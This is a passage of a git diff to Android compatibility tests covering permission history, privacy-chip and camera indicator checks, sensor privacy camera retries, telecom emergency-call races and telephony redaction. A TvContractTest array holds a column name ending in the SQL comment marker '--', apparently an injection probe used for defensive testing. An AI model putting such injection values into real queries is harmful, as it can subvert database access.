+ fun assumeNotTv() = assumeFalse(isTv)
+
+ // Permission history is not available on Auto devices.
+ @Before
+ fun assumeNotAuto() = assumeFalse(isAutomotive)
+
@Before
fun installApps() {
uninstallPackage(APP_PACKAGE_NAME, requireSuccess = false)
diff --git a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
index 8bd51cc228e..7f25e8c10db 100644
--- a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
+++ b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
@@ -32,14 +32,9 @@ import android.support.test.uiautomator.UiDevice
import android.support.test.uiautomator.UiSelector
import androidx.test.platform.app.InstrumentationRegistry
import com.android.compatibility.common.util.DisableAnimationRule
-import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity
-import com.android.compatibility.common.util.SystemUtil.eventually
-import com.android.compatibility.common.util.SystemUtil.runShellCommand
-import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import com.android.compatibility.common.util.SystemUtil.*
import org.junit.After
-import org.junit.Assert.assertFalse
-import org.junit.Assert.assertNotNull
-import org.junit.Assert.assertTrue
+import org.junit.Assert.*
import org.junit.Assume.assumeFalse
import org.junit.Assume.assumeTrue
import org.junit.Before
@@ -66,6 +61,7 @@ class CameraMicIndicatorsPermissionTest {
private val uiDevice: UiDevice = UiDevice.getInstance(instrumentation)
private val packageManager: PackageManager = context.packageManager
+ private val isTv = packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
private var wasEnabled = false
private val micLabel = packageManager.getPermissionGroupInfo(
Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString()
@@ -124,9 +120,10 @@ class CameraMicIndicatorsPermissionTest {
screenTimeoutBeforeTest
)
}
-
- pressBack()
- pressBack()
+ if (!isTv) {
+ pressBack()
+ pressBack()
+ }
pressHome()
pressHome()
Thread.sleep(3000)
@@ -169,15 +166,13 @@ class CameraMicIndicatorsPermissionTest {
assertTrue("View with text $APP_LABEL not found", appView.exists())
}
- if (packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
+ if (isTv) {
assertTvIndicatorsShown(useMic, useCamera, useHotword)
} else if (packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
assertCarIndicatorsShown(useMic, useCamera)
} else {
- // Hotword gets remapped to RECORD_AUDIO on handheld, so handheld should show a mic
- // indicator
uiDevice.openQuickSettings()
- assertPrivacyChipAndIndicatorsPresent(useMic || useHotword, useCamera)
+ assertPrivacyChipAndIndicatorsPresent(useMic, useCamera)
}
}
@@ -201,22 +196,12 @@ class CameraMicIndicatorsPermissionTest {
private fun assertCarIndicatorsShown(useMic: Boolean, useCamera: Boolean) {
// Ensure the privacy chip is present (or not)
- var chipFound = false
- try {
- eventually {
- val privacyChip = uiDevice.findObject(By.res(PRIVACY_CHIP_ID))
- assertNotNull("view with id $PRIVACY_CHIP_ID not found", privacyChip)
- privacyChip.click()
- chipFound = true
- }
- } catch (e: Exception) {
- // Handle more gracefully below
- }
-
+ val chipFound = isChipPresent()
if (useMic || useCamera) {
assertTrue("Did not find chip", chipFound)
} else {
assertFalse("Found chip, but did not expect to", chipFound)
+ return
}
eventually {
@@ -233,11 +218,13 @@ class CameraMicIndicatorsPermissionTest {
}
private fun assertPrivacyChipAndIndicatorsPresent(useMic: Boolean, useCamera: Boolean) {
- // Ensure the privacy chip is present
- eventually {
- val privacyChip = uiDevice.findObject(UiSelector().resourceId(PRIVACY_CHIP_ID))
- assertTrue("view with id $PRIVACY_CHIP_ID not found", privacyChip.exists())
- privacyChip.click()
+ // Ensure the privacy chip is present (or not)
+ val chipFound = isChipPresent()
+ if (useMic || useCamera) {
+ assertTrue("Did not find chip", chipFound)
+ } else {
+ assertFalse("Found chip, but did not expect to", chipFound)
+ return
}
eventually {
@@ -254,6 +241,21 @@ class CameraMicIndicatorsPermissionTest {
}
}
+ private fun isChipPresent(): Boolean {
+ var chipFound = false
+ try {
+ eventually {
+ val privacyChip = uiDevice.findObject(By.res(PRIVACY_CHIP_ID))
+ assertNotNull("view with id $PRIVACY_CHIP_ID not found", privacyChip)
+ privacyChip.click()
+ chipFound = true
+ }
+ } catch (e: Exception) {
+ // Handle more gracefully after
+ }
+ return chipFound
+ }
+
private fun pressBack() {
uiDevice.pressBack()
waitForIdle()
diff --git a/tests/tests/provider/preconditions/Android.bp b/tests/tests/provider/preconditions/Android.bp
index 289aab5b1ea..f636464db68 100644
--- a/tests/tests/provider/preconditions/Android.bp
+++ b/tests/tests/provider/preconditions/Android.bp
@@ -14,7 +14,8 @@ java_test_helper_library {
test_suites: [
"cts",
"general-tests",
- "sts"
+ "sts",
+ "mts"
],
host_supported: true,
device_supported: false,
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java
index ed33af85f11..baeca9ceea6 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java
@@ -266,6 +266,7 @@ public class MediaStoreTest {
}
@Test
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
public void testCanManageMedia() throws Exception {
final String opString = AppOpsManager.permissionToOp(Manifest.permission.MANAGE_MEDIA);
diff --git a/tests/tests/security/OWNERS b/tests/tests/security/OWNERS
index 57873458742..0db6ed870bc 100644
--- a/tests/tests/security/OWNERS
+++ b/tests/tests/security/OWNERS
@@ -2,6 +2,6 @@
cbrubaker@google.com
jeffv@google.com
nnk@google.com
-mspector@google.com
-manjaepark@google.com
+musashi@google.com
cdombroski@google.com
+hubers@google.com
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 3d3efb119d0..6d1b25f8704 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -2404,6 +2404,11 @@ public class StagefrightTest {
} catch (Exception e) {
// local exceptions ignored, not security issues
} finally {
+ try {
+ codec.stop();
+ } catch (Exception e) {
+ // local exceptions ignored, not security issues
+ }
codec.release();
renderTarget.destroy();
}
diff --git a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
index d5035fab288..ba673f0058a 100644
--- a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
+++ b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
@@ -27,6 +27,7 @@ import android.platform.test.annotations.AppModeFull
import android.hardware.SensorPrivacyManager.Sensors.CAMERA
import android.hardware.SensorPrivacyManager.Sensors.MICROPHONE
import android.hardware.SensorPrivacyManager.Sources.OTHER
+import android.hardware.camera2.CameraManager
import android.support.test.uiautomator.By
import android.view.KeyEvent
import androidx.test.platform.app.InstrumentationRegistry
@@ -67,6 +68,8 @@ abstract class SensorPrivacyBaseTest(
"android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY"
const val DELAYED_ACTIVITY_NEW_TASK_EXTRA =
"android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY_NEW_TASK"
+ const val RETRY_CAM_EXTRA =
+ "android.sensorprivacy.cts.usemiccamera.extra.RETRY_CAM_EXTRA"
const val PKG_NAME = "android.sensorprivacy.cts.usemiccamera"
const val RECORDING_FILE_NAME = "${PKG_NAME}_record.mp4"
const val ACTIVITY_TITLE_SNIP = "CtsUseMic"
@@ -125,6 +128,7 @@ abstract class SensorPrivacyBaseTest(
}
fun testDialog(delayedActivity: Boolean = false, delayedActivityNewTask: Boolean = false) {
+ checkCameraPresentIfNeeded()
try {
setSensor(true)
val intent = Intent(MIC_CAM_ACTIVITY_ACTION)
@@ -218,6 +222,7 @@ abstract class SensorPrivacyBaseTest(
@Test
@AppModeFull(reason = "Uses secondary app, instant apps have no visibility")
fun testOpNotRunningWhileSensorPrivacyEnabled() {
+ checkCameraPresentIfNeeded()
setSensor(false)
val before = System.currentTimeMillis()
startTestApp()
@@ -236,8 +241,11 @@ abstract class SensorPrivacyBaseTest(
@Test
@AppModeFull(reason = "Uses secondary app, instant apps have no visibility")
fun testOpStartsRunningAfterStartedWithSensoryPrivacyEnabled() {
+ checkCameraPresentIfNeeded()
setSensor(true)
- startTestApp()
+ // Retry camera connection because external cameras are disconnected
+ // if sensor privacy is enabled (b/182204067)
+ startTestApp(true)
UiAutomatorUtils.waitFindObject(By.text(
Pattern.compile("Cancel", Pattern.CASE_INSENSITIVE))).click()
assertOpRunning(false)
@@ -250,8 +258,11 @@ abstract class SensorPrivacyBaseTest(
@Test
@AppModeFull(reason = "Uses secondary app, instant apps have no visibility")
fun testOpGetsRecordedAfterStartedWithSensorPrivacyEnabled() {
+ checkCameraPresentIfNeeded()
setSensor(true)
- startTestApp()
+ // Retry camera connection because external cameras are disconnected
+ // if sensor privacy is enabled (b/182204067)
+ startTestApp(true)
UiAutomatorUtils.waitFindObject(By.text(
Pattern.compile("Cancel", Pattern.CASE_INSENSITIVE))).click()
val before = System.currentTimeMillis()
@@ -269,6 +280,7 @@ abstract class SensorPrivacyBaseTest(
@Test
@AppModeFull(reason = "Uses secondary app, instant apps have no visibility")
fun testOpLastAccessUpdatesAfterToggleSensorPrivacy() {
+ checkCameraPresentIfNeeded()
setSensor(false)
val before = System.currentTimeMillis()
startTestApp()
@@ -300,6 +312,7 @@ abstract class SensorPrivacyBaseTest(
@Test
@AppModeFull(reason = "Uses secondary app, instant apps have no visibility")
fun testOpFinishedWhileToggleOn() {
+ checkCameraPresentIfNeeded()
setSensor(false)
startTestApp()
eventually {
@@ -317,13 +330,25 @@ abstract class SensorPrivacyBaseTest(
assertOpRunning(false)
}
+ private fun checkCameraPresentIfNeeded() {
+ if (sensor == CAMERA) {
+ val cameraManager: CameraManager = context.getSystemService(CameraManager::class.java)!!
+ Assume.assumeTrue("No camera available", cameraManager.cameraIdList.isNotEmpty())
+ }
+ }
+
private fun startTestApp() {
+ startTestApp(false)
+ }
+
+ private fun startTestApp(retryCameraOnError: Boolean) {
val intent = Intent(MIC_CAM_ACTIVITY_ACTION)
.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
.addFlags(Intent.FLAG_ACTIVITY_MATCH_EXTERNAL)
for (extra in extras) {
intent.putExtra(extra, true)
}
+ intent.putExtra(RETRY_CAM_EXTRA, retryCameraOnError)
context.startActivity(intent)
// Wait for app to open
UiAutomatorUtils.waitFindObject(By.textContains(ACTIVITY_TITLE_SNIP))
diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt
index 7281cad3ab8..0177c64dc0a 100644
--- a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt
+++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt
@@ -35,6 +35,7 @@ import android.media.MediaRecorder
import android.os.Bundle
import android.os.Handler
import android.os.Process
+import android.util.Log
import android.util.Size
private const val MIC = 1 shl 0
@@ -42,10 +43,15 @@ private const val CAM = 1 shl 1
private const val SAMPLING_RATE = 8000
+private const val RETRY_TIMEOUT = 5000L
+private const val TAG = "UseMicCamera"
+
class UseMicCamera : Activity() {
private var audioRecord: AudioRecord? = null
private var cameraDevice: CameraDevice? = null
private lateinit var appOpsManager: AppOpsManager
+ private var cameraOpenRetryCount: Int = 0
+ private var cameraMaxOpenRetry: Int = 0
companion object {
const val MIC_CAM_ACTIVITY_ACTION =
@@ -60,6 +66,8 @@ class UseMicCamera : Activity() {
"android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY"
const val DELAYED_ACTIVITY_NEW_TASK_EXTRA =
"android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY_NEW_TASK"
+ const val RETRY_CAM_EXTRA =
+ "android.sensorprivacy.cts.usemiccamera.extra.RETRY_CAM_EXTRA"
}
override fun onCreate(savedInstanceState: Bundle?) {
@@ -125,6 +133,15 @@ class UseMicCamera : Activity() {
val outputSize: Size = config!!.getOutputSizes(outputFormat)[0]
val handler = Handler(mainLooper)
+ // Retry camera connection because external cameras are disconnected
+ // if sensor privacy is enabled (b/182204067)
+ val isExternalCamera = (cameraManager!!.getCameraCharacteristics(cameraId)
+ .get(CameraCharacteristics.LENS_FACING)
+ == CameraCharacteristics.LENS_FACING_EXTERNAL)
+ if (intent.getBooleanExtra(RETRY_CAM_EXTRA, false) && isExternalCamera) {
+ cameraMaxOpenRetry = 1
+ }
+
val cameraDeviceCallback = object : CameraDevice.StateCallback() {
override fun onOpened(cD: CameraDevice) {
val imageReader = ImageReader.newInstance(
@@ -149,14 +166,26 @@ class UseMicCamera : Activity() {
cD.createCaptureSession(sessionConfiguration)
cameraDevice = cD
+ cameraOpenRetryCount = 0
}
override fun onDisconnected(cameraDevice: CameraDevice) {
}
override fun onError(cameraDevice: CameraDevice, i: Int) {
+ // Retry once after timeout if cause is ERROR_CAMERA_DISABLED because it may
+ // be triggered if camera mute is not supported and sensor privacy is enabled
+ if (i == ERROR_CAMERA_DISABLED && cameraOpenRetryCount < cameraMaxOpenRetry) {
+ cameraDevice.close()
+ cameraOpenRetryCount++
+ handler.postDelayed({ openCam() }, RETRY_TIMEOUT)
+ }
}
}
- cameraManager!!.openCamera(cameraId, mainExecutor, cameraDeviceCallback)
+ try {
+ cameraManager!!.openCamera(cameraId, mainExecutor, cameraDeviceCallback)
+ } catch (e: android.hardware.camera2.CameraAccessException) {
+ Log.e(TAG, "openCamera: " + e)
+ }
}
-} \ No newline at end of file
+}
diff --git a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java
index 5fdfa8ecc04..e779be5417e 100644
--- a/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java
+++ b/tests/tests/simphonebookprovider/src/android/provider/cts/simphonebook/SimPhonebookContract_ElementaryFilesTest.java
@@ -59,7 +59,7 @@ import java.util.Objects;
public class SimPhonebookContract_ElementaryFilesTest {
// The minimum value for the ElementaryFiles.NAME_MAX_LENGTH column.
- private static final int NAME_MAX_LENGTH_MINIMUM = 11;
+ private static final int NAME_MAX_LENGTH_MINIMUM = 2;
// The minimum value for the ElementaryFiles.PHONE_NUMBER_MAX_LENGTH column.
private static final int PHONE_NUMBER_MAX_LENGTH_MINIMUM = 20;
diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
index 5ab5a904704..439b37790d9 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
@@ -664,8 +664,16 @@ public class BaseTelecomTestWithMockServices extends InstrumentationTestCase {
currentConnections++;
currentCallCount++;
}
- placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentConnections,
- currentCallCount);
+ placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentCallCount);
+ // The connectionService.lock is released in
+ // MockConnectionService#onCreateOutgoingConnection, however the connection will not
+ // actually be added to the list of connections in the ConnectionService until shortly
+ // afterwards. So there is still a potential for the lock to be released before it would
+ // be seen by calls to ConnectionService#getAllConnections().
+ // We will wait here until the list of connections includes one more connection to ensure
+ // that placing the call has fully completed.
+ assertCSConnections(currentConnections);
+
// Ensure the new outgoing call broadcast fired for the outgoing call.
assertOutgoingCallBroadcastReceived(true);
@@ -698,7 +706,16 @@ public class BaseTelecomTestWithMockServices extends InstrumentationTestCase {
void placeAndVerifyCall(Bundle extras, int videoState) {
int currentCallCount = (getInCallService() == null) ? 0 : getInCallService().getCallCount();
// We expect placing the call adds a new call/connection.
- placeAndVerifyCall(extras, videoState, getNumberOfConnections() + 1, currentCallCount + 1);
+ int expectedConnections = getNumberOfConnections() + 1;
+ placeAndVerifyCall(extras, videoState, currentCallCount + 1);
+ // The connectionService.lock is released in
+ // MockConnectionService#onCreateOutgoingConnection, however the connection will not
+ // actually be added to the list of connections in the ConnectionService until shortly
+ // afterwards. So there is still a potential for the lock to be released before it would
+ // be seen by calls to ConnectionService#getAllConnections().
+ // We will wait here until the list of connections includes one more connection to ensure
+ // that placing the call has fully completed.
+ assertCSConnections(expectedConnections);
assertOutgoingCallBroadcastReceived(true);
// CTS test does not have read call log permission so should not get the phone number.
@@ -709,8 +726,7 @@ public class BaseTelecomTestWithMockServices extends InstrumentationTestCase {
* Puts Telecom in a state where there is an active call provided by the
* {@link CtsConnectionService} which can be tested.
*/
- void placeAndVerifyCall(Bundle extras, int videoState, int expectedConnectionCount,
- int expectedCallCount) {
+ void placeAndVerifyCall(Bundle extras, int videoState, int expectedCallCount) {
assertEquals("Lock should have no permits!", 0, mInCallCallbacks.lock.availablePermits());
placeNewCallWithPhoneAccount(extras, videoState);
@@ -730,15 +746,6 @@ public class BaseTelecomTestWithMockServices extends InstrumentationTestCase {
assertEquals("InCallService should match the expected count.", expectedCallCount,
mInCallCallbacks.getService().getCallCount());
-
- // The connectionService.lock is released in
- // MockConnectionService#onCreateOutgoingConnection, however the connection will not
- // actually be added to the list of connections in the ConnectionService until shortly
- // afterwards. So there is still a potential for the lock to be released before it would
- // be seen by calls to ConnectionService#getAllConnections().
- // We will wait here until the list of connections includes one more connection to ensure
- // that placing the call has fully completed.
- assertCSConnections(expectedConnectionCount);
}
/**
@@ -752,14 +759,26 @@ public class BaseTelecomTestWithMockServices extends InstrumentationTestCase {
public Connection placeAndVerifyEmergencyCall(boolean supportsHold) {
Bundle extras = new Bundle();
extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, TEST_EMERGENCY_URI);
+ // We want to request the active connections vs number of connections because in some cases,
+ // we wait to destroy the underlying connection to prevent race conditions. This will result
+ // in Connections in the DISCONNECTED state.
int currentConnectionCount = supportsHold ?
- getNumberOfConnections() + 1 : getNumberOfConnections();
+ getNumberOfActiveConnections() + 1 : getNumberOfActiveConnections();
int currentCallCount = (getInCallService() == null) ? 0 : getInCallService().getCallCount();
currentCallCount = supportsHold ? currentCallCount + 1 : currentCallCount;
// The device only supports a max of two calls active at any one time
currentCallCount = Math.min(currentCallCount, 2);
- placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentConnectionCount,
- currentCallCount);
+
+ placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentCallCount);
+ // The connectionService.lock is released in
+ // MockConnectionService#onCreateOutgoingConnection, however the connection will not
+ // actually be added to the list of connections in the ConnectionService until shortly
+ // afterwards. So there is still a potential for the lock to be released before it would
+ // be seen by calls to ConnectionService#getAllConnections().
+ // We will wait here until the list of connections includes one more connection to ensure
+ // that placing the call has fully completed.
+ assertActiveCSConnections(currentConnectionCount);
+
assertOutgoingCallBroadcastReceived(true);
Connection connection = verifyConnectionForOutgoingCall(TEST_EMERGENCY_URI);
TestUtils.waitOnAllHandlers(getInstrumentation());
@@ -770,6 +789,12 @@ public class BaseTelecomTestWithMockServices extends InstrumentationTestCase {
return CtsConnectionService.getAllConnectionsFromTelecom().size();
}
+ int getNumberOfActiveConnections() {
+ return CtsConnectionService.getAllConnectionsFromTelecom().stream()
+ .filter(c -> c.getState() != Connection.STATE_DISCONNECTED).collect(
+ Collectors.toSet()).size();
+ }
+
Connection getConnection(Uri address) {
return CtsConnectionService.getAllConnectionsFromTelecom().stream()
.filter(c -> c.getAddress().equals(address)).findFirst().orElse(null);
@@ -1217,6 +1242,23 @@ public class BaseTelecomTestWithMockServices extends InstrumentationTestCase {
);
}
+ void assertActiveCSConnections(final int numConnections) {
+ waitUntilConditionIsTrueOrTimeout(new Condition() {
+ @Override
+ public Object expected() {
+ return numConnections;
+ }
+
+ @Override
+ public Object actual() {
+ return getNumberOfActiveConnections();
+ }
+ },
+ WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+ "ConnectionService should contain " + numConnections + " connections."
+ );
+ }
+
void assertCSConnections(final int numConnections) {
waitUntilConditionIsTrueOrTimeout(new Condition() {
@Override
diff --git a/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java b/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java
index 47b146214d4..a1d9e6d2f5d 100644
--- a/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java
+++ b/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java
@@ -85,7 +85,9 @@ public class EmergencyCallTests extends BaseTelecomTestWithMockServices {
Uri normalCallNumber = createRandomTestNumber();
addAndVerifyNewIncomingCall(normalCallNumber, null);
- Connection incomingConnection = verifyConnectionForIncomingCall();
+ MockConnection incomingConnection = verifyConnectionForIncomingCall();
+ // Ensure destroy happens after emergency call is placed to prevent unbind -> rebind.
+ incomingConnection.disableAutoDestroy();
Call incomingCall = getInCallService().getLastCall();
assertCallState(incomingCall, Call.STATE_RINGING);
@@ -94,6 +96,7 @@ public class EmergencyCallTests extends BaseTelecomTestWithMockServices {
Call eCall = getInCallService().getLastCall();
assertCallState(eCall, Call.STATE_DIALING);
+ incomingConnection.destroy();
assertConnectionState(incomingConnection, Connection.STATE_DISCONNECTED);
assertCallState(incomingCall, Call.STATE_DISCONNECTED);
@@ -123,7 +126,9 @@ public class EmergencyCallTests extends BaseTelecomTestWithMockServices {
Uri normalIncomingCallNumber = createRandomTestNumber();
addAndVerifyNewIncomingCall(normalIncomingCallNumber, null);
- Connection incomingConnection = verifyConnectionForIncomingCall();
+ MockConnection incomingConnection = verifyConnectionForIncomingCall();
+ // Ensure destroy happens after emergency call is placed to prevent unbind -> rebind.
+ incomingConnection.disableAutoDestroy();
Call incomingCall = getInCallService().getLastCall();
assertCallState(incomingCall, Call.STATE_RINGING);
@@ -132,6 +137,7 @@ public class EmergencyCallTests extends BaseTelecomTestWithMockServices {
Call eCall = getInCallService().getLastCall();
assertCallState(eCall, Call.STATE_DIALING);
+ incomingConnection.destroy();
assertConnectionState(incomingConnection, Connection.STATE_DISCONNECTED);
assertCallState(incomingCall, Call.STATE_DISCONNECTED);
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
index 299ffba0f8e..f8945ce0d9d 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
@@ -60,6 +60,7 @@ public class MockConnection extends Connection {
private PhoneAccountHandle mPhoneAccountHandle;
private RemoteConnection mRemoteConnection = null;
private RttTextStream mRttTextStream;
+ private boolean mAutoDestroy = true;
private SparseArray<InvokeCounter> mInvokeCounterMap = new SparseArray<>(13);
@@ -91,7 +92,7 @@ public class MockConnection extends Connection {
if (mRemoteConnection != null) {
mRemoteConnection.reject();
}
- destroy();
+ if (mAutoDestroy) destroy();
}
@Override
@@ -99,7 +100,7 @@ public class MockConnection extends Connection {
super.onReject(rejectReason);
setDisconnected(new DisconnectCause(DisconnectCause.REJECTED,
Integer.toString(rejectReason)));
- destroy();
+ if (mAutoDestroy) destroy();
}
@Override
@@ -109,7 +110,7 @@ public class MockConnection extends Connection {
if (mRemoteConnection != null) {
mRemoteConnection.reject();
}
- destroy();
+ if (mAutoDestroy) destroy();
}
@Override
@@ -137,7 +138,7 @@ public class MockConnection extends Connection {
if (mRemoteConnection != null) {
mRemoteConnection.disconnect();
}
- destroy();
+ if (mAutoDestroy) destroy();
}
@Override
@@ -147,7 +148,7 @@ public class MockConnection extends Connection {
if (mRemoteConnection != null) {
mRemoteConnection.abort();
}
- destroy();
+ if (mAutoDestroy) destroy();
}
@Override
@@ -279,6 +280,14 @@ public class MockConnection extends Connection {
}
}
+ /**
+ * Do not destroy after setting disconnected for cases that need finer state control. If
+ * disabled the caller will need to call destroy manually.
+ */
+ public void disableAutoDestroy() {
+ mAutoDestroy = false;
+ }
+
public int getCurrentState() {
return mState;
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java b/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java
index b3cda70ee99..5d76420fe62 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java
@@ -170,24 +170,32 @@ public class ServiceStateTest {
@Test
public void testNrStateRedacted() {
+ // Verify that NR State is not leaked in user builds.
+ if (Build.IS_DEBUGGABLE) return;
final TelephonyManager tm = getContext().getSystemService(TelephonyManager.class);
- // Verify that NR State is not leaked in user builds.
- if (!Build.IS_DEBUGGABLE) {
- final String sss = tm.getServiceState().toString();
- // The string leaked in previous releases is "nrState=<val>"; test that there is
- // no matching or highly similar string leak, such as:
- // nrState=NONE
- // nrState=0
- // mNrState=RESTRICTED
- // NRSTATE=NOT_RESTRICTED
- // nrState = CONNECTED
- // etc.
- Pattern p = Pattern.compile("nrState\\s*=\\s*[a-zA-Z0-9_]+", Pattern.CASE_INSENSITIVE);
- Matcher m = p.matcher(sss);
- // Need to use if (find) fail to ensure that the start and end are populated
- if (m.find()) fail("Found nrState reported as: " + sss.substring(m.start(), m.end()));
- }
+ final NetworkRegistrationInfo nri = new NetworkRegistrationInfo.Builder()
+ .setTransportType(AccessNetworkConstants.TRANSPORT_TYPE_WWAN)
+ .setDomain(NetworkRegistrationInfo.DOMAIN_PS)
+ .build();
+ nri.setNrState(NetworkRegistrationInfo.NR_STATE_RESTRICTED);
+
+ final ServiceState ss = new ServiceState();
+ ss.addNetworkRegistrationInfo(nri);
+ String sss = ss.toString();
+
+ // The string leaked in previous releases is "nrState=<val>"; test that there is
+ // no matching or highly similar string leak, such as:
+ // nrState=NONE
+ // nrState=0
+ // mNrState=RESTRICTED
+ // NRSTATE=NOT_RESTRICTED
+ // nrState = CONNECTED
+ // etc.
+ Pattern p = Pattern.compile("nrState\\s*=\\s*[a-zA-Z0-9_]+", Pattern.CASE_INSENSITIVE);
+ Matcher m = p.matcher(sss);
+ // Need to use if (find) fail to ensure that the start and end are populated
+ if (m.find()) fail("Found nrState reported as: " + sss.substring(m.start(), m.end()));
}
@Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 11e5979402e..6e5f7de65bc 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -45,6 +45,7 @@ import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
+import android.content.res.Resources;
import android.net.ConnectivityManager;
import android.net.wifi.WifiManager;
import android.os.AsyncTask;
@@ -1451,9 +1452,11 @@ public class TelephonyManagerTest {
return;
}
boolean is5gStandalone = getContext().getResources().getBoolean(
- com.android.internal.R.bool.config_telephony5gStandalone);
+ Resources.getSystem().getIdentifier("config_telephony5gStandalone", "bool",
+ "android"));
boolean is5gNonStandalone = getContext().getResources().getBoolean(
- com.android.internal.R.bool.config_telephony5gNonStandalone);
+ Resources.getSystem().getIdentifier("config_telephony5gNonStandalone", "bool",
+ "android"));
int[] deviceNrCapabilities = new int[0];
if (is5gStandalone || is5gNonStandalone) {
List<Integer> list = new ArrayList<>();
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
index c707d0e5c47..e7a6286dc1d 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
@@ -557,6 +557,9 @@ public class ImsMmTelManagerTest {
assertNotNull(resultQueue.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
} catch (SecurityException e) {
fail("isSupported requires READ_PRIVILEGED_PHONE_STATE permission.");
+ } catch (ImsException ignore) {
+ // We are only testing method permissions here, so the actual ImsException does not
+ // matter, since it shows that the permission check passed.
}
try {
LinkedBlockingQueue<Integer> resultQueue = new LinkedBlockingQueue<>(1);
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
index 055b75d8fc8..49387375783 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
@@ -37,6 +37,8 @@ import android.test.AndroidTestCase;
import android.test.MoreAsserts;
import android.tv.cts.R;
+import androidx.test.InstrumentationRegistry;
+
import java.io.InputStream;
import java.io.OutputStream;
import java.util.Arrays;
@@ -113,6 +115,11 @@ public class TvContractTest extends AndroidTestCase {
private static final String[] NON_EXISTING_COLUMN_NAMES =
{"non_existing_column", "another non-existing column --"};
